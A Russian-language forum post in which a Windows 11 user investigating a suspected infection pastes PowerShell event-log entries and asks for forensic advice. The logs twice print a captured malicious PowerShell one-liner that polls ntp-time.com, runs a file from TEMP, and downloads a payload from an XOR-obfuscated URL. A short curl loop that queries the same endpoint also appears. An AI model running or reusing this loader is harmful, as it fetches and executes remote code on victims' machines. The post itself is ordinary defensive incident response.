подозреваю наличие малвари (windows11, powershell)
Во время работы произвольно появилось окошко блокнота.
Проверил последние события, одно из них показалось подозрительным.
Перезагрузился в дуалбут, подмонтировал раздел с windows, запустил evtxexport.
[CODE]
evtxexport -p c/ -r /media/user/5C3C92533C9227D2/Windows/System32/config/ /media/user/5C3C92533C9227D2/Windows/System32/winevt/Logs/Windows\ PowerShell.evtx
Event number : 24944
Written time : Apr 15, 2024 12:22:30.933652700 UTC
Event level : Information (4)
Computer name : VIM-DESKTOP
Source name : PowerShell
Event identifier : 0x00000258 (600)
Number of strings : 3
String: 1 : Alias
String: 2 : Started
String: 3 : ProviderName=Alias
NewProviderState=Started
SequenceNumber=3
HostName=ConsoleHost
HostVersion=5.1.22621.2506
HostId=b72eb182-d609-4f67-8217-9be2f0ab1163
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /c add-type -assembly system.web.extensions;$k=(new-object system.web.script.serialization.javascriptSerializer).DeserializeObject((iwr -Uri ntp-time.com/s.t?seconds=euuaeljqrr -Headers @{'Cache-Control'='no-cache'}).Content);if($k.s-eq'1'){$n=$env:TEMP+'\'+$k.n;&$n $($k.p);$s=$env:TEMP+'\'+$k.c;if(Test-Path $s){$m=(cat -Path $s)}if($m -eq $k.m){exit}else{(echo $k.m|Out-File -FilePath $s);$f='';$k.l.ToCharArray().ForEach({$f+=[char]($_-bxor5)});iwr -Uri $f -OutFile $n;}}
EngineVersion=
RunspaceId=
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
...
Event number : 24952
Written time : Apr 15, 2024 14:18:04.745717600 UTC
Event level : Information (4)
Computer name : VIM-DESKTOP
Source name : PowerShell
Event identifier : 0x00000258 (600)
Number of strings : 3
String: 1 : Registry
String: 2 : Started
String: 3 : ProviderName=Registry
NewProviderState=Started
SequenceNumber=1
HostName=ConsoleHost
HostVersion=5.1.22621.2506
HostId=9357fea1-38f0-4585-82d7-92e69a00bd57
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /c add-type -assembly system.web.extensions;$k=(new-object system.web.script.serialization.javascriptSerializer).DeserializeObject((iwr -Uri ntp-time.com/s.t?seconds=euuaeljqrr -Headers @{'Cache-Control'='no-cache'}).Content);if($k.s-eq'1'){$n=$env:TEMP+'\'+$k.n;&$n $($k.p);$s=$env:TEMP+'\'+$k.c;if(Test-Path $s){$m=(cat -Path $s)}if($m -eq $k.m){exit}else{(echo $k.m|Out-File -FilePath $s);$f='';$k.l.ToCharArray().ForEach({$f+=[char]($_-bxor5)});iwr -Uri $f -OutFile $n;}}
EngineVersion=
RunspaceId=
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
[/CODE]
Whois показывает что ntp-time.com зарегистрирован на физлицо в Астане.
Пробовал получить полезную нагрузку, что бы понять что чистить:
[CODE]
#!/bin/bash
while [ $(jq ".s" value) = "\"0\"" ]; do
curl -s -A "Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0" --header "Cache-Control=no-cache" "ntp-time.com/s.t?seconds=euuaeljqrr" -o value || break
sleep 60;
date
jq "." value
done
[/CODE]
Пока возвращает только вариант "s=0".
[CODE]
{
"m": "set times",
"p": "de.pool.ntp.org 0 2",
"s": "0",
"c": "14:18:51.595133",
"l": "ss:mm:HH",
"n": "updatetime"
}
[/CODE]
Параллельно с этим скачал антивирус, обновил базы (freshclam) и запустил сканирование по всему диску (clamscan -r).
Пока планирую дождаться результатов сканирование и только потом запускать софт с форума (видимо нужно будет загрузиться в безопасном режиме).
Возможно можно извлечь из ситуации что-то еще? Проверить другие журналы, может быть возможно проверить из-под дуалбута автозапуск, или есть какие-то еще полезные инструменты.
